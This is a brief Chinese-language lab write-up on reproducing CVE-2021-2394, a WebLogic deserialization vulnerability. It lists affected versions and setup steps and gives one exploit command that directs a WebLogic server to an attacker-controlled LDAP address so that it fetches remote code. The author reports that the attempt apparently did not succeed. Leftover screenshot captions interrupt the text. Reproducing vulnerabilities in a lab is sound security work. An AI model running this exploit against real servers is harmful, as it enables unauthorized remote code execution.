CVE-2021-2394：Weblogic反序列化漏洞

影响版本

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

使用版本 12.2.1.3

安装启动weblogic

编写弹窗的poc打开python server

打开Ldap服务连上Python server

下载安装weblogic 快速版 快速版没有user\_projects

Java -jar

注意这里的jdk 版本

进去Oracle/Middleware/Oracle\_Home1/oracle\_common\common\bin

执行sh config.sh

然后去user\_projects下启动weblogic

**图形用户界面, 网站

描述已自动生成**

编写弹框的poc 并开启python server

文本

描述已自动生成

开启LDAP服务 连接python server

文本

描述已自动生成

使用工具

java -jar CVE\_2021\_2394.jar 192.168.1.6 7001 ldap://192.168.1.6:1389/EXP

结果和14645一样 可以发LDAP请求 但是LDAP 请求发不到python server里